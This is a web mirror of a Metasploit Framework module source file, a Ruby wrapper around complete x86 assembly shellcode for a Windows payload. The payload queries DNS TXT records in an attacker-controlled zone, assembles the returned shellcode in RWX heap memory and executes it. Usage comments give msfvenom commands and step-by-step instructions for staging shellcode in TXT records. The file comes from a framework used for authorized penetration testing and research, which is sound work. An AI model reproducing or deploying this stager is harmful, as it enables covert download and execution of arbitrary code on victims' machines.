CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/dns_txt_query_exec.rb
Views: 11765
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
8
CachedSize = 285
9
10
include Msf::Payload::Windows
11
include Msf::Payload::Single
12
13
def initialize(info = {})
14
super(merge_info(info,
15
'Name' => 'DNS TXT Record Payload Download and Execution',
16
'Description' => 'Performs a TXT query against a series of DNS record(s) and executes the returned payload',
17
'Author' =>
18
[
19
'corelanc0d3r <peter.ve[at]corelan.be>'
20
],
21
'License' => MSF_LICENSE,
22
'Platform' => 'win',
23
'Arch' => ARCH_X86
24
))
25
26
# EXITFUNC is not supported
27
deregister_options('EXITFUNC')
28
29
# Register command execution options
30
register_options(
31
[
32
OptString.new('DNSZONE', [ true, "The DNS zone to query" ]),
33
])
34
end
35
36
#
37
# Usage :
38
# 1. Generate the shellcode you want to deliver via DNS TXT queries
39
# Make sure the shellcode is alpha_mixed or alpha_upper and uses EDI as bufferregister
40
# Example :
41
# ./msfvenom -p windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" -e x86/alpha_mixed Bufferregister=EDI -f raw
42
# Output : 658 bytes
43
# 2. Split the alpha shellcode into individual parts of exactly 255 bytes (+ remaining bytes)
44
# In case of 658 bytes of payload, there will be 2 parts of 255 bytes, and one part of 144 bytes
45
# 3. Create TXT records in a zone you control and put in a piece of the shellcode in each TXT record
46
# The last TXT record might have less than 255 bytes, that's fine
47
# The first part must be stored in the TXT record for prefix a.<yourdomain.com>
48
# The second part must be stored in the TXT record for b.<yourdomain.com>
49
# etc
50
# First part must start with a. and all parts must be placed in consecutive records
51
# 4. use the dns_txt_query payload in the exploit, specify the name of the DNS zone that contains the DNS TXT records
52
# Example: ./msfvenom -p windows/dns_txt_query_exec DNSZONE=corelan.eu -f c
53
# (Example will show a messagebox)
54
#
55
# DNS TXT Records :
56
# a.corelan.eu : contains first 255 bytes of the alpha shellcode
57
# b.corelan.eu : contains the next 255 bytes of the alpha shellcode
58
# c.corelan.eu : contains the last 144 bytes of the alpha shellcode
59
60
def generate(_opts = {})
61
62
dnsname = datastore['DNSZONE']
63
wType = 0x0010 #DNS_TYPE_TEXT (TEXT)
64
wTypeOffset = 0x1c
65
66
queryoptions = 0x248
67
# DNS_QUERY_RETURN_MESSAGE (0x200)
68
# DNS_QUERY_BYPASS_CACHE (0x08)
69
# DNS_QUERY_NO_HOSTS_FILE (0x40)
70
# DNS_QUERY_ONLY_TCP (0x02) <- not used atm
71
72
bufferreg = "edi"
73
74
#create actual payload
75
payload_data = <<EOS
76
cld ; clear direction flag
77
call start ; start main routine
78
; Stephen Fewer's block_api
79
; block_api code (Stephen Fewer)
80
api_call:
81
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
82
mov ebp, esp ; Create a new stack frame
83
xor edx, edx ; Zero EDX
84
mov edx, fs:[edx+48] ; Get a pointer to the PEB
85
mov edx, [edx+12] ; Get PEB->Ldr
86
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
87
next_mod:
88
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
89
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
90
xor edi, edi ; Clear EDI which will store the hash of the module name
91
loop_modname: ;
92
xor eax, eax ; Clear EAX
93
lodsb ; Read in the next byte of the name
94
cmp al, 'a' ; Some versions of Windows use lower case module names
95
jl not_lowercase ;
96
sub al, 0x20 ; If so normalise to uppercase
97
not_lowercase: ;
98
ror edi, 13 ; Rotate right our hash value
99
add edi, eax ; Add the next byte of the name
100
loop loop_modname ; Loop until we have read enough
101
; We now have the module hash computed
102
push edx ; Save the current position in the module list for later
103
push edi ; Save the current module hash for later
104
; Proceed to iterate the export address table,
105
mov edx, [edx+16] ; Get this modules base address
106
mov eax, [edx+60] ; Get PE header
107
add eax, edx ; Add the modules base address
108
mov eax, [eax+120] ; Get export tables RVA
109
test eax, eax ; Test if no export address table is present
110
jz get_next_mod1 ; If no EAT present, process the next module
111
add eax, edx ; Add the modules base address
112
push eax ; Save the current modules EAT
113
mov ecx, [eax+24] ; Get the number of function names
114
mov ebx, [eax+32] ; Get the rva of the function names
115
add ebx, edx ; Add the modules base address
116
; Computing the module hash + function hash
117
get_next_func: ;
118
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
119
dec ecx ; Decrement the function name counter
120
mov esi, [ebx+ecx*4] ; Get rva of next module name
121
add esi, edx ; Add the modules base address
122
xor edi, edi ; Clear EDI which will store the hash of the function name
123
; And compare it to the one we want
124
loop_funcname: ;
125
xor eax, eax ; Clear EAX
126
lodsb ; Read in the next byte of the ASCII function name
127
ror edi, 13 ; Rotate right our hash value
128
add edi, eax ; Add the next byte of the name
129
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
130
jne loop_funcname ; If we have not reached the null terminator, continue
131
add edi, [ebp-8] ; Add the current module hash to the function hash
132
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
133
jnz get_next_func ; Go compute the next function hash if we have not found it
134
; If found, fix up stack, call the function and then value else compute the next one...
135
pop eax ; Restore the current modules EAT
136
mov ebx, [eax+36] ; Get the ordinal table rva
137
add ebx, edx ; Add the modules base address
138
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
139
mov ebx, [eax+28] ; Get the function addresses table rva
140
add ebx, edx ; Add the modules base address
141
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
142
add eax, edx ; Add the modules base address to get the functions actual VA
143
; We now fix up the stack and perform the call to the desired function...
144
finish:
145
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
146
pop ebx ; Clear off the current modules hash
147
pop ebx ; Clear off the current position in the module list
148
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
149
pop ecx ; Pop off the original return address our caller will have pushed
150
pop edx ; Pop off the hash value our caller will have pushed
151
push ecx ; Push back the correct return value
152
jmp eax ; Jump into the required function
153
; We now automagically return to the correct caller...
154
get_next_mod: ;
155
pop eax ; Pop off the current (now the previous) modules EAT
156
get_next_mod1: ;
157
pop edi ; Pop off the current (now the previous) modules hash
158
pop edx ; Restore our position in the module list
159
mov edx, [edx] ; Get the next module
160
jmp.i8 next_mod ; Process this module
161
162
; actual routine
163
start:
164
pop ebp ; get ptr to block_api routine
165
166
; first allocate some space in heap to hold payload
167
alloc_space:
168
xor eax,eax ; clear EAX
169
push 0x40 ; flProtect (RWX)
170
mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
171
push eax ; flAllocationType MEM_COMMIT (0x1000)
172
push eax ; dwSize (0x1000)
173
push 0x0 ; lpAddress
174
push 0xE553A458 ; kernel32.dll!VirtualAlloc
175
call ebp
176
push eax ; save pointer on stack, will be used in memcpy
177
mov #{bufferreg}, eax ; save pointer, to jump to at the end
178
179
180
;load dnsapi.dll
181
load_dnsapi:
182
xor eax,eax ; put part of string (hex) in eax
183
mov al,0x70
184
mov ah,0x69
185
push eax ; Push 'dnsapi' to the stack
186
push 0x61736e64 ; ...
187
push esp ; Push a pointer to the 'dnsapi' string on the stack.
188
push 0x0726774C ; kernel32.dll!LoadLibraryA
189
call ebp ; LoadLibraryA( "dnsapi" )
190
191
;prepare for loop of queries
192
mov bl,0x61 ; first query, start with 'a'
193
194
dnsquery:
195
jmp.i8 get_dnsname ; get dnsname
196
197
get_dnsname_return:
198
pop eax ; get ptr to dnsname (lpstrName)
199
mov [eax],bl ; patch sequence number in place
200
xchg esi,ebx ; save sequence number
201
push esp ; prepare ppQueryResultsSet
202
pop ebx ; (put ptr to ptr to stack on stack)
203
sub ebx,4
204
push ebx
205
push 0x0 ; pReserved
206
push ebx ; ppQueryResultsSet
207
push 0x0 ; pExtra
208
push #{queryoptions} ; Options
209
push #{wType} ; wType
210
push eax ; lpstrName
211
push 0xC99CC96A ; dnsapi.dll!DnsQuery_A
212
call ebp ;
213
test eax, eax ; query ok ?
214
jnz jump_to_payload ; no, jump to payload
215
jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
216
217
218
get_dnsname:
219
call get_dnsname_return
220
db "a.#{dnsname}", 0x00
221
222
get_query_result:
223
xchg #{bufferreg},edx ; save start of heap
224
pop #{bufferreg} ; heap structure containing DNS results
225
mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
226
cmp eax,1
227
jne prepare_payload ; jmp to payload
228
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
229
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
230
231
copy_piece_to_heap:
232
xchg ebx,esi ; save counter
233
mov esi,edi ; set source
234
mov edi,[esp+0x8] ; retrieve heap destination for memcpy
235
xor ecx,ecx ; clear ecx
236
mov cl,0xff ; always copy 255 bytes, no matter what
237
rep movsb ; copy from ESI to EDI
238
push edi ; save target for next copy
239
push edi ; 2 more times to make sure it's at esp+8
240
push edi ;
241
inc ebx ; increment sequence
242
xchg #{bufferreg},edx ; restore start of heap
243
jmp.i8 dnsquery ; try to get the next piece, if any
244
245
prepare_payload:
246
mov #{bufferreg},edx
247
248
jump_to_payload:
249
jmp #{bufferreg} ; jump to it
250
251
252
253
EOS
254
self.assembly = payload_data
255
super
256
end
257
end
258
259